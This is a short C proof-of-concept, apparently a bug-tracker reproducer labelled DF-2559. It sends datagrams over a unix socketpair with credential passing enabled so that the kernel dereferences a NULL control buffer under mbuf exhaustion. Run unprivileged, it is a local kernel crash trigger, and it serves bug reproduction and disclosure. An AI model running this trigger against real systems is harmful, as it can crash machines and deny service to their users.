DF-2559 / trigger.c
/* DF-2559 trigger: SOCK_DGRAM unix socketpair, receiver SO_PASSCRED, * small sendto -- the kernel auto-creates SCM_CREDS control via * sbcreatecontrol(M_NOWAIT); with the mbuf zone exhausted it gets NULL * and dereferences it. Run as an unprivileged user. */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char **argv) { int n = (argc > 1) ? atoi(argv[1]) : 1; int sv[2], on = 1, i, rc; char buf[] = "x"; setvbuf(stdout, NULL, _IONBF, 0); if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) { perror("socketpair"); return 1; } if (setsockopt(sv[1], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)) < 0) { perror("SO_PASSCRED"); return 1; } for (i = 0; i < n; i++) { rc = send(sv[0], buf, 1, MSG_DONTWAIT); printf("send %d: %d (%s)\n", i, rc, rc < 0 ? strerror(errno) : "ok"); if (rc < 0) break; /* drain so the buffer never fills */ char rbuf[128]; struct msghdr msg; struct iovec iov; char cbuf[256]; memset(&msg, 0, sizeof(msg)); iov.iov_base = rbuf; iov.iov_len = sizeof(rbuf); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); if (recvmsg(sv[1], &msg, MSG_DONTWAIT) < 0) break; } printf("trigger done\n"); return 0; } |